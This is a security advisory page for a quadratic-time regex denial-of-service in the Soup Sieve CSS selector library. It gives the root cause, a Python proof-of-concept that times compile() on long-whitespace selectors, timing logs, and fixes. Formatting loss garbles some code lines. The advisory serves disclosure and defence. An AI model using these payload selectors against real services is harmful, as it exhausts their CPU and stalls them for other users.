CVE-2026-85999: Soup Sieve: Polynomial-time ReDoS (O(n²)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)

Published Sep 17, 2026
·
Updated

Summary

Before tokenizing, selectoriter trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with .search(). The trailing one, REWSEND = re.compile(r'{WSC}$'), is anchored only at the end ($), not the start. Because .search() retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail $, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, a + " "n + b — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.

Trust model (Q0)

The selector string is the input, reaching this code via soupsieve.compile(), the soupsieve.select/iselect/match/filter helpers, and BeautifulSoup's soup.select(selector) / soup.selectone(selector). Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.

Root cause (exact anchors) — src/soupsieve/cssparser.py

python line 185-186 REWSBEGIN = re.compile(fr'^{WSC}') # anchored at start -> .search() only tries pos 0 -> linear (safe) REWSEND = re.compile(fr'{WSC}$') # NOT anchored at start -> .search() tries every offset

selectoriter, lines ~1322-1326 m = REWSBEGIN.search(pattern) index = m.end(0) if m else 0 m = REWSEND.search(pattern) # <-- O(n^2) here end = (m.start(0) - 1) if m else (len(pattern) - 1)

WSC = (?:{WS}|{COMMENTS}). For REWSEND = (?:WS|COMMENTS)$, .search() walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, (?:WS|COMMENTS) greedily consumes to the run's end, then $ fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). REWSBEGIN avoids this because ^ pins it to a single start offset.

The intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored .search() of a $ pattern is the defect.

Reproduction environment (discipline #12 — published artifact)

- git HEAD 751c57b (2.9, PYTHONPATH=src): cd src && python3 ../poc/pocredoswstrim.py. - Published PyPI soupsieve 2.8.4 (fresh uv pip install soupsieve beautifulsoup4): cd poc && ../.venv-published/bin/python pocredoswstrim.py → same O(n²) (evidence: poc/evidenceredoswstrimPUBLISHED2.8.4.log). - Python 3.11.15 and 3.14.6 both reproduce.

PoC (poc/pocredoswstrim.py)

python import sys, time sys.path.insert(0, ".") import soupsieve as sv

def ct(sel): t0 = time.perfcounter() try: sv.compile(sel); st = "ok" except Exception as e: st = type(e).name return time.perfcounter() - t0, st

print(f"soupsieve {sv.version}\n")

print("VALID selector 'a' + ' 'n + 'b' (descendant combinator, lots of whitespace):") for n in (2000, 4000, 8000, 16000): dt, st = ct("a" + " " n + "b") print(f" n={n:<6} len={n+2:<7} {dt1000:9.1f} ms [{st}]")

payload = "a" + " " 20000 + "b" dt, st = ct(payload) print(f"\n[+] Single call: compile('a' + ' '20000 + 'b') (len={len(payload)})") print(f"[+] wall time = {dt:.2f} s [{st}]")

Isolated confirmation that the cost is in REWSEND.search specifically (poc/isolatewstrim.py): REWSEND on "div"+" "n+">" is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored REWSBEGIN on " "n+"x" stays linear (32000→1.5 ms). Profiling compile shows the entire wall time in 2 re.Pattern.search calls, not .match.

Evidence — HEAD 2.9 (verbatim poc/evidenceredoswstrim.log)

soupsieve 2.9

VALID selector 'a' + ' 'n + 'b' (descendant combinator, lots of whitespace): n=2000 len=2002 112.3 ms [ok] n=4000 len=4002 411.5 ms [ok] n=8000 len=8002 1602.9 ms [ok] n=16000 len=16002 6464.1 ms [ok]

VALID-looking 'a' + '/x/'n + 'b' (CSS comment run): n=1000 len=5002 48.9 ms [SelectorSyntaxError] n=2000 len=10002 194.8 ms [SelectorSyntaxError] n=4000 len=20002 780.2 ms [SelectorSyntaxError] n=8000 len=40002 3145.3 ms [SelectorSyntaxError]

[+] Single call: compile('a' + ' '20000 + 'b') (len=20002) [+] wall time = 10.23 s [ok]

Evidence — published 2.8.4 (verbatim poc/evidenceredoswstrimPUBLISHED2.8.4.log)

soupsieve 2.8.4

VALID selector 'a' + ' 'n + 'b': n=2000 len=2002 102.7 ms [ok] n=4000 len=4002 404.3 ms [ok] n=8000 len=8002 1618.2 ms [ok] n=16000 len=16002 6457.9 ms [ok] [+] Single call: compile('a' + ' '20000 + 'b') wall time = 10.11 s [ok]

Impact — calibrated

- Confirmed: quadratic CPU per compile()/select() call on an attacker-controlled selector, triggered by a long internal whitespace or CSS-comment run. ~8 KB → ~1.6 s; ~20 KB → ~10 s; scaling ~×4 per input doubling. Notably fires on WELL-FORMED selectors, so it does not depend on a parser error path. - Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve. - NOT claimed: exponential blowup, memory corruption, or code execution. Availability (DoS) only, and only where selectors are attacker-influenced.

Distinction from the IDENTIFIER/VALUE ReDoS

This is a separate root cause and a separate fix: the cost here is entirely in the REWSEND = {WSC}$ trim step run with .search() before tokenizing (measured in re.Pattern.search), whereas the IDENTIFIER/VALUE issue is adjacent-quantifier backtracking during token .match(). They can be fixed independently.

Remediation

- Anchor or de-loop the trailing-trim step: instead of .search() of {WSC}$, scan trailing whitespace/comments from the end directly (e.g. reverse scan, or re.compile(r'^{WSC}').match on a reversed-equivalent), so no per-offset retry occurs. - Alternatively strip whitespace/comments in a single forward tokenizing pass rather than with a pre-pass $ search. - Defense-in-depth: cap selector length before compiling.

Other sources

Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, selectoriter in src/soupsieve/cssparser.py trims the raw selector with REWSEND, an end-anchored WSC whitespace-and-comment expression used with search(), so the regular expression engine retries a greedy scan at every starting offset. An attacker-controlled valid selector containing a long internal whitespace run, or a selector containing a long CSS comment run followed by another token, causes quadratic CPU work before tokenization. User-controlled selectors can reach the path through soupsieve.compile() and BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. This root cause is separate from the IDENTIFIER and VALUE backtracking vulnerability because the cost occurs in REWSEND.search during trimming rather than token matching. The resulting CPU consumption can hold the Python GIL, exhaust workers, and stall a service without causing memory corruption or code execution. The issue is fixed in version 2.9.

— MITRE

Affected Software

2 affected componentsFixes available
Soup Sieve Soup Sieve<2.9
pip/soupsieve<2.9.0
2.9.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/soupsieve to a version that resolves this vulnerability.

    Fixed in 2.9.0
  2. Upgrade

    Upgrade soupsieve to a version that resolves this vulnerability.

    Fixed in 2.9
  3. Configuration

    Change the selector_iter trailing-trim implementation to avoid per-offset retries from running RE_WS_END.search over the whole string; use an anchored approach (e.g., reverse-scan / anchored pattern) so trimming time does not become O(n²).

    soupsieve/css_parser.py selector_iter trailing-trim step RE_WS_END = re.compile(fr'{WSC}*$') search usage = Use anchored/loopless trailing trimming instead of unanchored .search() of RE_WS_END (current defect is RE_WS_END used with .search() before tokenization).
  4. Compensating control

    Cap CSS selector length before passing it to BeautifulSoup/soupsieve (e.g., limit attacker-supplied selector size before calling soupsieve.compile()/select()).

Event History

Sep 17, 2026
CVE Published
via MITRE·03:23 PM
Data Sourced
via MITRE·03:23 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:18 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·08:32 PM
Data Sourced
via GitHub·08:32 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which applications are exposed to this issue?

Applications are exposed when untrusted users can supply CSS selectors that reach soupsieve.compile() or BeautifulSoup.select(). Applications that use only hard-coded selectors are unaffected.

2

What selector input can trigger the CPU exhaustion?

A valid attacker-controlled selector with a long internal whitespace run can trigger quadratic processing. A selector with a long CSS comment run followed by another token can also trigger it.

3

What is the practical impact of exploitation?

Processing the selector can consume CPU while holding the Python GIL, potentially exhausting workers and stalling the service. The issue does not cause memory corruption or code execution.

4

What should be done to remediate the issue?

Upgrade Soup Sieve to version 2.9, which fixes the issue.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203